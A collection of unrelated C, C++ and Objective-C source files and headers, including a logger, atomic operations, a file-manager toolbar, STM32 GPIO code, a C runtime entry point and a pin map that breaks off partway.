class Fiber;
typedef std::vector<Fiber> FibersData;
struct iAFeature;
class iADefectClassifier
{
private:
typedef std::vector<iAFeature> FeatureList;
struct Statistic
{
Statistic( )
{
fracturesCount = 0;
fracturesVolume = 0;
pulloutsCount = 0;
pulloutVolume = 0;
debondingsCount = 0;
debondingsVolume = 0;
breakagesCount = 0;
breakagesVolume = 0;
}
unsigned long fracturesCount;
double fracturesVolume;
unsigned long pulloutsCount;
double pulloutVolume;
unsigned long debondingsCount;
double debondingsVolume;
unsigned long breakagesCount;
double breakagesVolume;
};
struct Classification
{
QVector<unsigned long> Fractures, Pullouts, Debondings, Breakages;
};
struct ExtendedDefectInfo
{
iAVec3d Direction;
double Angle;
double Elongation;
iAVec3d Endpoints[2];
};
public:
struct Parameters
{
double Spacing;
double ElongationP;
double ElongationD;
double LengthRangeP[2];
double WidthRangeP[2];
double AngleP;
double AngleB;
double AngleD;
double NeighborhoodDistP;
double NeighborhoodDistFF;
double BigVolumeThreshold;
QString FibersFile;
QString FeaturesFile;
QString OutputDir;
};
public:
iADefectClassifier( );
//void run( std::string fibersFile, std::string featuresFile, std::string outputDir );
void run( Parameters params );
Statistic m_stat;
private:
FeatureList readDefects( QString const & defectFile ) const;
void classify( FibersData* fibers, FeatureList* defects );
void save( ) const;
void calcStatistic( FeatureList* defects );
ExtendedDefectInfo calcExtendedDefectInfo( iAFeature& def ) const;
FibersData findNeighboringFibers( FibersData& fibers, ExtendedDefectInfo& defInfo, double distance ) const;
Classification m_classification;
Parameters m_param;
};
|
/*
* Copyright 2009, 2010 Free Software Foundation, Inc.
*
* This software is distributed under the terms of the GNU Affero Public License.
* See the COPYING file in the main directory for details.
*
* This use of this software may be subject to additional restrictions.
* See the LEGAL file in the main directory for details.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef LOGGER_H
#define LOGGER_H
#include <stdint.h>
#include <stdio.h>
#include <sstream>
#include <list>
#include <map>
#include <string>
#include "Threads.h"
#define DEFAULT_LOGGING_LEVEL "INFO"
#define DEFAULT_ALARM_PORT 10101
#define DEFAULT_MAX_ALARMS 10
#define _LOG(level) \
Log(Log::LOG_##level).get() << pthread_self() \
<< " " __FILE__ ":" << __LINE__ << ":" << __FUNCTION__ << ": "
#define LOG(wLevel) \
if (gLoggingLevel(__FILE__)>=Log::LOG_##wLevel) _LOG(wLevel)
#define OBJLOG(wLevel) \
if (gLoggingLevel(__FILE__)>=Log::LOG_##wLevel) _LOG(wLevel) << "obj: " << this << ' '
#define ISLOGGING(wLevel) \
(gLoggingLevel(__FILE__)>=Log::LOG_##wLevel)
#define LOG_ASSERT(x) { if (!(x)) LOG(ALARM) << "assertion " #x " failed"; } assert(x);
/**
A thread-safe logger, directable to any file or stream.
Derived from Dr. Dobb's Sept. 2007 issue.
This object is NOT the global logger;
every log record is an object of this class.
*/
class Log {
public:
/** Available logging levels. */
enum Level {
LOG_FORCE,
LOG_ERROR,
LOG_ALARM,
LOG_WARN,
LOG_NOTICE,
LOG_INFO,
LOG_DEBUG,
LOG_DEEPDEBUG
};
protected:
std::ostringstream mStream; ///< This is where we write the long.
Level mReportLevel; ///< Level of current repot.
static FILE *sFile;
public:
Log(Level wReportLevel)
:mReportLevel(wReportLevel)
{ }
// Most of the work in in the desctructor.
~Log();
std::ostringstream& get();
};
std::ostringstream& operator<<(std::ostringstream& os, Log::Level);
std::list<std::string> gGetLoggerAlarms(); ///< Get a copy of the recent alarm list.
/**@ Global control and initialization of the logging system. */
//@{
void gLogInit(const char* defaultLevel = DEFAULT_LOGGING_LEVEL);
Log::Level gLoggingLevel(const char *filename);
//@}
/**@name Global logging file control. */
//@{
void gSetLogFile(FILE*);
bool gSetLogFile(const char*);
//@}
#endif
// vim: ts=4 sw=4
|
////////////////////////////////////////////////////////////////////////////////
//
// (C) Andy Thomason 2012-2014
//
// Modular Framework for OpenGLES2 rendering on multiple platforms.
//
// mouse ball for rotating cameras around points of interest.
namespace octet { namespace helpers {
/// Class for picking objects using mouse clicks.
class object_picker {
app *the_app;
dynarray<ref<mesh_instance> > objects;
public:
object_picker() {
}
void init(app *the_app) {
this->the_app = the_app;
}
void update(visual_scene *the_scene) {
bool is_mouse_down = the_app->is_key_down(key_lmb);
if (is_mouse_down) {
int mx = 0, my = 0;
int vx = 0, vy = 0;
the_app->get_mouse_pos(mx, my);
the_app->get_viewport_size(vx, vy);
float x = (float)( mx - vx/2 ) * 2.0f / vx;
float y = (float)( vy/2 - my ) * 2.0f / vy;
if (the_scene->get_num_camera_instances() == 0) {
return;
}
camera_instance *cam = the_scene->get_camera_instance(0);
ray the_ray = cam->get_ray(x, y);
//the_scene->add_debug_line(the_ray.get_start(), the_ray.get_end());
visual_scene::cast_result res;
the_scene->cast_ray(res, the_ray);
if (res.mi) {
//printf("%s\n", res.depth.toString());
}
}
}
};
}}
|
// Copyright (C) Explorer++ Project
// SPDX-License-Identifier: GPL-3.0-only
// See LICENSE in the top level directory
#pragma once
#include "HardwareChangeNotifier.h"
#include "Navigation.h"
#include "../Helper/BaseWindow.h"
#include "../Helper/FileContextMenuManager.h"
#include "../Helper/WindowSubclassWrapper.h"
#include <boost/serialization/strong_typedef.hpp>
#include <unordered_map>
__interface IExplorerplusplus;
class DrivesToolbar :
public BaseWindow,
public IFileContextMenuExternal,
public NHardwareChangeNotifier::INotification
{
public:
static DrivesToolbar *Create(HWND hParent, UINT uIDStart, UINT uIDEnd, HINSTANCE hInstance,
IExplorerplusplus *pexpp, Navigation *navigation);
/* IFileContextMenuExternal methods. */
void UpdateMenuEntries(PCIDLIST_ABSOLUTE pidlParent,
const std::vector<PITEMID_CHILD> &pidlItems, DWORD_PTR dwData, IContextMenu *contextMenu,
HMENU hMenu) override;
BOOL HandleShellMenuItem(PCIDLIST_ABSOLUTE pidlParent,
const std::vector<PITEMID_CHILD> &pidlItems, DWORD_PTR dwData, const TCHAR *szCmd) override;
void HandleCustomMenuItem(PCIDLIST_ABSOLUTE pidlParent,
const std::vector<PITEMID_CHILD> &pidlItems, int iCmd) override;
protected:
INT_PTR OnMButtonUp(const POINTS *pts, UINT keysDown) override;
private:
BOOST_STRONG_TYPEDEF(UINT, IDCounter);
struct DriveInformation
{
int Position;
IDCounter ID;
};
static const UINT_PTR PARENT_SUBCLASS_ID = 0;
static const int MIN_SHELL_MENU_ID = 1;
static const int MAX_SHELL_MENU_ID = 1000;
static const int MENU_ID_OPEN_IN_NEW_TAB = (MAX_SHELL_MENU_ID + 1);
static LRESULT CALLBACK DrivesToolbarParentProcStub(HWND hwnd, UINT uMsg, WPARAM wParam,
LPARAM lParam, UINT_PTR uIdSubclass, DWORD_PTR dwRefData);
LRESULT CALLBACK DrivesToolbarParentProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
DrivesToolbar(HWND hParent, UINT uIDStart, UINT uIDEnd, HINSTANCE hInstance,
IExplorerplusplus *pexpp, Navigation *navigation);
~DrivesToolbar();
static HWND CreateDrivesToolbar(HWND hParent);
void Initialize(HWND hParent);
void InsertDrives();
void InsertDrive(const std::wstring &DrivePath);
void RemoveDrive(const std::wstring &DrivePath);
int GetSortedPosition(const std::wstring &DrivePath);
DriveInformation GetDrivePosition(const std::wstring &DrivePath);
std::wstring GetDrivePath(int iIndex);
void UpdateDriveIcon(const std::wstring &DrivePath);
void OnDeviceArrival(DEV_BROADCAST_HDR *dbh) override;
void OnDeviceRemoveComplete(DEV_BROADCAST_HDR *dbh) override;
HINSTANCE m_hInstance;
UINT m_uIDStart;
UINT m_uIDEnd;
IExplorerplusplus *m_pexpp;
Navigation *m_navigation;
struct IDCounterHasher
{
size_t operator()(const IDCounter &t) const
{
return (size_t) t;
}
};
std::unordered_map<IDCounter, std::wstring, IDCounterHasher> m_mapID;
IDCounter m_IDCounter;
std::vector<std::unique_ptr<WindowSubclassWrapper>> m_windowSubclasses;
};
|
#include "lexan.h"
int main(int argc, char *argv[]) {
// We only allow 1 file to be compiled for now
if (argc != 2) {
printf("Usage: %s filename\n", argv[0]);
return 1;
}
char *filename = argv[1];
FILE *file;
// Check if the file is readable
if ((file = fopen(filename, "r")) == NULL) {
printf("Error accessing '%s'\n", argv[1]);
return 1;
}
Token *first_token = analyze(file);
if (first_token == NULL) {
printf("Error\n");
return 1;
}
fclose(file);
if (first_token != NULL) {
Token *current_token = first_token;
do {
printf("%s\n", (char*) current_token->value);
} while ((current_token = (Token*)current_token->next_token) != NULL);
}
return 0;
}
|
#ifndef OWNPARAMETERDIALOG_H
#define OWNPARAMETERDIALOG_H
#include <QDialog>
namespace Ui {
class OwnParameterDialog;
}
class OwnParameterDialog : public QDialog
{
Q_OBJECT
public:
explicit OwnParameterDialog(QWidget *parent = 0);
~OwnParameterDialog();
void setText(QString t);
private slots:
void on_buttonBox_accepted();
private:
Ui::OwnParameterDialog *ui;
signals:
void parameterAccept(QString);
};
#endif // OWNPARAMETERDIALOG_H
|
/*
This file is part of TSLoad.
Copyright 2012-2014, Sergey Klyaus, ITMO University
TSLoad is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 3.
TSLoad is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with TSLoad. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef ATOMIC_H_
#define ATOMIC_H_
#include <tsload/defs.h>
#if defined(HAVE_ATOMIC_BUILTINS)
#define ATOMIC_MEMMODEL __ATOMIC_SEQ_CST
typedef volatile long atomic_t;
STATIC_INLINE long atomic_read(atomic_t* atom) {
long value;
__atomic_load(atom, &value, ATOMIC_MEMMODEL);
return value;
}
STATIC_INLINE long atomic_exchange(atomic_t* atom, long value) {
return __atomic_exchange_n(atom, value, ATOMIC_MEMMODEL);
}
STATIC_INLINE void atomic_set(atomic_t* atom, long value) {
__atomic_store(atom, &value, ATOMIC_MEMMODEL);
}
STATIC_INLINE long atomic_inc(atomic_t* atom) {
return __atomic_add_fetch(atom, 1, ATOMIC_MEMMODEL) - 1;
}
STATIC_INLINE long atomic_dec(atomic_t* atom) {
return __atomic_sub_fetch(atom, 1, ATOMIC_MEMMODEL) + 1;
}
STATIC_INLINE long atomic_add(atomic_t* atom, long value) {
return __atomic_add_fetch(atom, value, ATOMIC_MEMMODEL) - value;
}
STATIC_INLINE long atomic_sub(atomic_t* atom, long value) {
return __atomic_sub_fetch(atom, value, ATOMIC_MEMMODEL) + value;
}
STATIC_INLINE long atomic_or(atomic_t* atom, long value) {
return __atomic_fetch_or(atom, value, ATOMIC_MEMMODEL);
}
STATIC_INLINE long atomic_and(atomic_t* atom, long value) {
return __atomic_fetch_and(atom, value, ATOMIC_MEMMODEL);
}
#elif defined(HAVE_SYNC_BUILTINS)
typedef volatile long atomic_t;
STATIC_INLINE long atomic_read(atomic_t* atom) {
return __sync_fetch_and_add(atom, 0);
}
STATIC_INLINE void atomic_set(atomic_t* atom, long value) {
(void) __sync_lock_test_and_set(atom, value);
}
STATIC_INLINE long atomic_exchange(atomic_t* atom, long value) {
return __sync_lock_test_and_set(atom, value);
}
STATIC_INLINE long atomic_inc(atomic_t* atom) {
return __sync_fetch_and_add(atom, 1);
}
STATIC_INLINE long atomic_dec(atomic_t* atom) {
return __sync_fetch_and_sub(atom, 1);
}
STATIC_INLINE long atomic_add(atomic_t* atom, long value) {
return __sync_fetch_and_add(atom, value);
}
STATIC_INLINE long atomic_sub(atomic_t* atom, long value) {
return __sync_fetch_and_sub(atom, value);
}
STATIC_INLINE long atomic_or(atomic_t* atom, long value) {
return __sync_fetch_and_or(atom, value);
}
STATIC_INLINE long atomic_and(atomic_t* atom, long value) {
return __sync_fetch_and_and(atom, value);
}
#elif defined(PLAT_WIN) && defined(_MSC_VER)
#include <windows.h>
#if !defined(_M_AMD64) && !defined(_M_IA64) && !defined(_M_X64)
#include <intrin.h>
#pragma intrinsic (_InterlockedAnd)
#define InterlockedAnd _InterlockedAnd
#pragma intrinsic (_InterlockedOr)
#define InterlockedOr _InterlockedOr
#endif
typedef LONG volatile atomic_t;
STATIC_INLINE long atomic_read(atomic_t* atom) {
return InterlockedExchangeAdd(atom, 0);
}
STATIC_INLINE void atomic_set(atomic_t* atom, long value) {
(void) InterlockedExchange(atom, value);
}
STATIC_INLINE long atomic_exchange(atomic_t* atom, long value) {
return InterlockedExchange(atom, value);
}
STATIC_INLINE long atomic_add(atomic_t* atom, long value) {
return InterlockedExchangeAdd(atom, value);
}
STATIC_INLINE long atomic_sub(atomic_t* atom, long value) {
return InterlockedExchangeAdd(atom, -value);
}
STATIC_INLINE long atomic_inc(atomic_t* atom) {
return InterlockedIncrement(atom) - 1;
}
STATIC_INLINE long atomic_dec(atomic_t* atom) {
return InterlockedDecrement(atom) + 1;
}
STATIC_INLINE long atomic_or(atomic_t* atom, long value) {
return InterlockedOr(atom, value);
}
STATIC_INLINE long atomic_and(atomic_t* atom, long value) {
return InterlockedAnd(atom, value);
}
#else
#error "Atomic operations are not supported for your platform"
#endif /* __GNUC__*/
#endif /* ATOMIC_H_ */
|
/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
****************************************************************************/
#pragma once
#include "basefilefilter.h"
namespace Core {
namespace Internal {
class SpotlightLocatorFilter : public BaseFileFilter
{
public:
SpotlightLocatorFilter();
void prepareSearch(const QString &entry);
void refresh(QFutureInterface<void> &future);
};
} // Internal
} // Core
|
//
// JSMBookVC.h
// JSMHackerBooks
//
// Created by Jose Sancho Monrabal on 5/4/15.
// Copyright (c) 2015 sancho.jose. All rights reserved.
//
#import <UIKit/UIKit.h>
#import "JSMLibraryTableVC.h"
@class JSMBook;
@interface JSMBookVC : UIViewController <UISplitViewControllerDelegate, LibraryTableVCDelegate>
@property (weak, nonatomic) IBOutlet UILabel *lblTitle;
@property (weak, nonatomic) IBOutlet UILabel *lblAuthors;
@property (weak, nonatomic) IBOutlet UILabel *lblTags;
@property (weak, nonatomic) IBOutlet UIImageView *imgCover;
@property (weak, nonatomic) IBOutlet UISwitch *switchFavorite;
- (instancetype) initWithModel:(JSMBook *) book;
- (IBAction)changeFavoriteValue:(id)sender;
@end
|
#include <include/generated/autoconf.h>
#ifdef CONFIG_MCUAL_GPIO
#include "../arm/gpio.c"
/*
#include <mcual.h>
#include <stm32l4xx_hal.h>
static mcual_gpio_interrupt_handler_t _itr_handlers[16];
static GPIO_TypeDef * mcual_gpio_get_register(mcual_gpio_port_t port)
{
switch(port)
{
case MCUAL_GPIOA:
return GPIOA;
case MCUAL_GPIOB:
return GPIOB;
case MCUAL_GPIOC:
return GPIOC;
case MCUAL_GPIOD:
return GPIOD;
case MCUAL_GPIOE:
return GPIOE;
case MCUAL_GPIOF:
return GPIOF;
case MCUAL_GPIOG:
return GPIOG;
case MCUAL_GPIOH:
return GPIOH;
case MCUAL_GPIOI:
return GPIOI;
#ifdef GPIOJ
case MCUAL_GPIOJ:
return GPIOJ;
#endif
#ifdef GPIOK
case MCUAL_GPIOK:
return GPIOK;
#endif
}
return NULL;
}
void mcual_gpio_init(mcual_gpio_port_t port, mcual_gpio_pin_t pin, mcual_gpio_direction_t direction)
{
GPIO_InitTypeDef GPIO_InitStructure;
switch(direction)
{
case MCUAL_GPIO_INPUT:
GPIO_InitStructure.Mode = GPIO_MODE_INPUT;
break;
case MCUAL_GPIO_OUTPUT:
GPIO_InitStructure.Mode = GPIO_MODE_OUTPUT_PP;
break;
}
GPIO_InitStructure.Pull = GPIO_NOPULL;
GPIO_InitStructure.Speed = GPIO_SPEED_HIGH;
int i;
for(i = 0; i < 16; i += 1)
{
if(pin & (1 << i))
{
GPIO_InitStructure.Pin = (1 << i);
HAL_GPIO_Init(mcual_gpio_get_register(port), &GPIO_InitStructure);
}
}
}
void mcual_gpio_set(mcual_gpio_port_t port, mcual_gpio_pin_t pin)
{
int i;
for(i = 0; i < 16; i += 1)
{
if(pin & (1 << i))
{
HAL_GPIO_WritePin(mcual_gpio_get_register(port), (1 << i), GPIO_PIN_SET);
}
}
}
void mcual_gpio_clear(mcual_gpio_port_t port, mcual_gpio_pin_t pin)
{
int i;
for(i = 0; i < 16; i += 1)
{
if(pin & (1 << i))
{
HAL_GPIO_WritePin(mcual_gpio_get_register(port), (1 << i), GPIO_PIN_RESET);
}
}
}
void mcual_gpio_toggle(mcual_gpio_port_t port, mcual_gpio_pin_t pin)
{
int i;
for(i = 0; i < 16; i += 1)
{
if(pin & (1 << i))
{
HAL_GPIO_TogglePin(mcual_gpio_get_register(port), (1 << i));
}
}
}
uint32_t mcual_gpio_get(mcual_gpio_port_t port, mcual_gpio_pin_t pin)
{
uint32_t value = 0;
int i;
for(i = 0; i < 16; i += 1)
{
if(pin & (1 << i))
{
if(HAL_GPIO_ReadPin(mcual_gpio_get_register(port), (1 << i)))
{
value |= (1 << i);
}
}
}
return value;
}
//void mcual_gpio_set_function(mcual_gpio_port_t port, mcual_gpio_pin_t pin, int function_id)
//{
// (void)port;
// (void)pin;
// (void)function_id;
//}
//
//void mcual_gpio_set_output_type(mcual_gpio_port_t port, mcual_gpio_pin_t pin, mcual_gpio_output_type_t type)
//{
// (void)port;
// (void)pin;
// (void)type;
//}
static int mcual_gpio_get_irq_id(mcual_gpio_pin_t pin)
{
switch(pin)
{
case MCUAL_GPIO_PIN0:
return EXTI0_IRQn;
case MCUAL_GPIO_PIN1:
return EXTI1_IRQn;
case MCUAL_GPIO_PIN2:
return EXTI2_IRQn;
case MCUAL_GPIO_PIN3:
return EXTI3_IRQn;
case MCUAL_GPIO_PIN4:
return EXTI4_IRQn;
case MCUAL_GPIO_PIN5:
case MCUAL_GPIO_PIN6:
case MCUAL_GPIO_PIN7:
case MCUAL_GPIO_PIN8:
case MCUAL_GPIO_PIN9:
return EXTI9_5_IRQn;
case MCUAL_GPIO_PIN10:
case MCUAL_GPIO_PIN11:
case MCUAL_GPIO_PIN12:
case MCUAL_GPIO_PIN13:
case MCUAL_GPIO_PIN14:
case MCUAL_GPIO_PIN15:
return EXTI15_10_IRQn;
}
return 0;
}
void mcual_gpio_set_interrupt(mcual_gpio_port_t port, mcual_gpio_pin_t pin, mcual_gpio_edge_t edge, mcual_gpio_interrupt_handler_t handler)
{
RCC->APB2ENR |= RCC_APB2ENR_SYSCFGEN;
int i;
for(i = 0; i < 16; i += 1)
{
if(pin & (1 << i))
{
_itr_handlers[i] = handler;
SYSCFG->EXTICR[i >> 0x02] &= ~(0x0F << (4 * (i & 0x03)));
SYSCFG->EXTICR[i >> 0x02] |= (port << (4 * (i & 0x03)));
if((edge == MCUAL_GPIO_RISING_EDGE) || (edge == MCUAL_GPIO_BOTH_EDGE))
{
EXTI->RTSR1 |= (1 << i);
}
else
{
EXTI->RTSR1 &= ~(1 << i);
}
if((edge == MCUAL_GPIO_FALLING_EDGE) || (edge == MCUAL_GPIO_BOTH_EDGE))
{
EXTI->FTSR1 |= (1 << i);
}
else
{
EXTI->FTSR1 &= ~(1 << i);
}
EXTI->IMR1 |= (1 << i);
int irq_id = mcual_gpio_get_irq_id((1 << i));
NVIC->IP[irq_id] = 14 << 4;
NVIC->ISER[irq_id / 32] |= (1 << (irq_id % 32));
}
}
}
#define generateSimpleIRQHandler(pin) \
void EXTI ## pin ##_IRQHandler(void) \
{\
if(_itr_handlers[pin] != NULL)\
{\
_itr_handlers[pin]();\
}\
EXTI->PR1 = (1 << pin);\
}
#define generateComplexIRQHandler(start, end) \
void EXTI ## end ##_ ## start ## _IRQHandler(void) \
{\
int i;\
uint32_t npr = 0;\
for(i = start; i <= end; i += 1)\
{\
if(EXTI->IMR1 & (1 << i))\
{\
if(EXTI->PR1 & (1 << i))\
{\
if(_itr_handlers[i] != NULL)\
{\
_itr_handlers[i]();\
}\
npr |= (1 << i);\
}\
}\
EXTI->PR1 = npr;\
}\
}
generateSimpleIRQHandler(0);
generateSimpleIRQHandler(1);
generateSimpleIRQHandler(2);
generateSimpleIRQHandler(3);
generateSimpleIRQHandler(4);
generateComplexIRQHandler(5, 9);
generateComplexIRQHandler(10, 15);
*/
#endif
|
////////////////////////////////////////////////////////////////////////////
// Created : 27.05.2010
// Author : Sergey Chechin
// Copyright (C) GSC Game World - 2010
////////////////////////////////////////////////////////////////////////////
#ifndef XRAY_RESOURCES_CALLBACKS_H_INCLUDED
#define XRAY_RESOURCES_CALLBACKS_H_INCLUDED
#include <xray/resources_memory.h>
namespace xray {
namespace resources {
class resource_base;
typedef boost::function< void ( resource_base * resource ) > query_finished_callback;
XRAY_CORE_API void set_query_finished_callback ( query_finished_callback callback );
enum out_of_memory_treatment_enum { out_of_memory_treatment_failed,
out_of_memory_treatment_reallocate_synchronously,
out_of_memory_treatment_reallocate_asynchronously, };
typedef boost::function< out_of_memory_treatment_enum ( memory_usage const & memory_needed ) >
out_of_memory_callback;
XRAY_CORE_API void set_out_of_memory_callback ( out_of_memory_callback callback );
// set_on_resource_leaked_callback is implemented in fs
} // namespace resources
} // namespace xray
#endif // #ifndef XRAY_RESOURCES_CALLBACKS_H_INCLUDED
|
/*
* C library entry point. Expects a normal C environment (valid stack)
* then goes on and initialises newlib stuff, then calls main.
*
* This is a drastically cut down equivalent of newlib's normal entry point.
*
*
* Copyright 2008 Torne Wuff
*
* This file is part of Pycorn.
*
* Pycorn is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*/
#include <stdlib.h>
#include <string.h>
// Linker provided symbols
extern char __bss_start__, __bss_end__;
extern void __libc_init_array(void);
extern void __libc_fini_array(void);
// Our main function! Hooray!
extern int main(int argc, char *argv[]);
// Declare that we don't return.
void _mainCRTStartup(void) __attribute__((noreturn));
void _mainCRTStartup(void)
{
// Clear .bss
size_t bss_size = &__bss_end__ - &__bss_start__;
memset(&__bss_start__, 0, bss_size);
// register destructors to be called at exit time
atexit(__libc_fini_array);
// call constructors
__libc_init_array();
// exit, returning whatever main returns. We have no args.
exit(main(0, 0));
}
// Define an empty _init and _fini since arm-eabi-gcc never generates
// code into them, but newlib expects them to exist. Silly newlib.
void _init(void)
{
}
void _fini(void)
{
}
|
/*
* File: RmDirState.h
* Author: radek
*
* Created on 27 July 2013, 13:20
*/
#ifndef RMDIRSTATE_H
#define RMDIRSTATE_H
using namespace std;
#include "../State.h"
#include "../../../Functions.h"
#include "../../LfcRmDirCommand.h"
class RmDirState : public State {
public:
RmDirState();
virtual ~RmDirState();
virtual LfcCommand * NextState(
std::vector<Item *>::const_iterator & iterator,
vector<Item*> items,
Item* item
);
private:
};
#endif /* RMDIRSTATE_H */
|
#ifndef WEIGHTEDITOR_H
#define WEIGHTEDITOR_H
#include <QDialog>
#include <vector>
#include "src/cubemapeditorimage.h"
namespace Ui {
class weighteditor;
}
class weighteditor : public QDialog
{
Q_OBJECT
public:
explicit weighteditor(QWidget *parent = 0);
~weighteditor();
void loadImage (CubeMapEditorImage* newImage) {image = newImage;}
//void getWeight (vector<vector<uint8_t*>> *newWeight){weight = newWeight;}
protected:
void mousePressEvent(QMouseEvent* event);
private:
Ui::weighteditor *ui;
void closeEvent(QCloseEvent *event);
CubeMapEditorImage* image;
std::vector<std::vector<uint8_t>> weight;
};
#endif // WEIGHTEDITOR_H
|
// DiskArcher.
// Interface of CMyListView class.
// (C) Marat Mirgaleev, 2002-2003.
// Created 03.03.2002.
// Modifications:
// (2) 02.09.2002. IsAnythingSelected() added.
// (3) 16.01.2003. EraseList() added.
// Typical behaviour of ShowPopupMenu implemented;
// m_nMenuID and SetPopupMenu() added.
//=================================================================
#if !defined(AFX_CMYLISTVIEW_H__0FD38692_3631_4AF1_A703_7E7BC986A3B1__INCLUDED_)
#define AFX_CMYLISTVIEW_H__0FD38692_3631_4AF1_A703_7E7BC986A3B1__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CMyListView : public CListView
{
protected:
DECLARE_DYNCREATE(CMyListView)
// Attributes
protected:
UINT m_nPopupMenuID; // (3)
// Operations
public:
bool IsAnythingSelected(); // (2)
void EraseList(); // (3)
void SetPopupMenu( UINT nMenuID ) // (3)
{ m_nPopupMenuID = nMenuID; }
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CMyListView)
protected:
//}}AFX_VIRTUAL
// Implementation
protected:
void MyOnKeyDown( NMHDR* pNMHDR );
void MyOnRightClick( NMHDR *pNotifyStruct );
virtual void ShowPopupMenu( int nItemSel, CPoint curPoint );
void DoPopupMenu( UINT nMenuID, CPoint curPoint );
#ifdef _DEBUG
virtual void AssertValid() const;
virtual void Dump(CDumpContext& dc) const;
#endif
// Generated message map functions
protected:
//{{AFX_MSG(CMyListView)
// NOTE - the ClassWizard will add and remove member functions here.
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_CMYLISTVIEW_H__0FD38692_3631_4AF1_A703_7E7BC986A3B1__INCLUDED_)
|
/*
BodySlide and Outfit Studio
See the included LICENSE file
*/
#pragma once
#include "../render/GLSurface.h"
/*
Class for managing offscreen rendering buffers.
Allows more than one buffer to be created, and automatically cycled for a multipass rendering chain
Enables exporting buffers to disk files
*/
class GLOffScreenBuffer {
GLSurface* glsRef = nullptr;
GLuint* pmfbo = nullptr;
GLuint* pmtex = nullptr;
GLuint mrbo;
bool isBound;
int current;
int numBuffers;
int w, h;
int GLOBCount;
void createTextures() {
for (int i = 0; i < numBuffers; i++) {
pmtex[i] = glsRef->GetResourceLoader()->GenerateTextureID(texName(i));
}
}
// Delete textures calls resource loader to remove textures with the appropriate name, and is only
// called during destruction.
// note, you can save textures by renaming them while GLOB exists.
void deleteTextures() {
for (int i = 0; i < numBuffers; i++) {
glsRef->GetResourceLoader()->DeleteTexture(texName(i));
}
}
public:
GLOffScreenBuffer(GLSurface* gls, int width, int height, unsigned int count = 1, const std::vector<GLuint>& texIds = std::vector<GLuint>());
std::string texName(int index = -1);
bool SetCurrentBuffer(int bufferIndex = 0);
bool NextBuffer(bool cycle = true);
void Start();
// Retrieves the current texture ID. Useful for externally selecting as a texture source before moving to another
// buffer in a multi rendering chain.
GLuint GetTexID();
void SaveTexture(const std::string& filename);
void End();
~GLOffScreenBuffer();
};
|
/*
* MCBackend.h
*
* Created on: 25/nov/2010
* Author: lorenzo
*/
#ifndef MCBACKEND_H_
#define MCBACKEND_H_
#define MC_ENSEMBLE_NVT 0
#define MC_ENSEMBLE_NPT 1
#define MC_MOVES 3
#define MC_MOVE_TRANSLATION 0
#define MC_MOVE_ROTATION 1
#define MC_MOVE_VOLUME 2
#include "SimBackend.h"
template<typename number>
class MCBackend: public SimBackend<number> {
friend class IOManager;
protected:
bool _overlap;
number _delta[MC_MOVES];
long long int _tries[MC_MOVES];
long long int _accepted[MC_MOVES];
int _ensemble;
int _check_energy_every;
int _check_energy_counter;
number _check_energy_threshold;
void _get_number_settings(input_file &inp);
virtual void _compute_energy() = 0;
public:
MCBackend(IOManager *IO);
virtual ~MCBackend();
void get_settings(input_file &inp);
void init(ifstream &conf_input);
void print_energy(llint curr_step);
void print_conf(llint curr_step, bool reduced=false, bool only_last=false);
};
#endif /* MCBACKEND_H_ */
|
/**
Copyright (c) 2015 MidAir Technology, LLC. All rights reserved.
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation, either
version 3 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this program; if not, see <http://www.gnu.org/licenses/>.
*/
/* Includes ------------------------------------------------------------------*/
#include "pinmap_hal.h"
#include "pinmap_impl.h"
#include <stddef.h>
/* Private typedef -----------------------------------------------------------*/
STM32_Pin_Info PIN_MAP[TOTAL_PINS] =
{
/*
* gpio_pin (0-31)
* pin_mode (NONE by default, can be set to OUTPUT, INPUT, or other types)
* adc (true if supports adc, false otherwise)
*/
{ 7, PIN_MODE_NONE, true }, /*D0*/
{ 6, PIN_MODE_NONE, true },
{ 5, PIN_MODE_NONE, true },
{ 4, PIN_MODE_NONE, true },
{ 3, PIN_MODE_NONE, true },
{ 2, PIN_MODE_NONE, true },
{ 1, PIN_MODE_NONE, true },
{ 0, PIN_MODE_NONE, false },
{ NONE, PIN_MODE_NONE, false }, /*??*/
{ NONE, PIN_MODE_NONE, false }, /*??*/
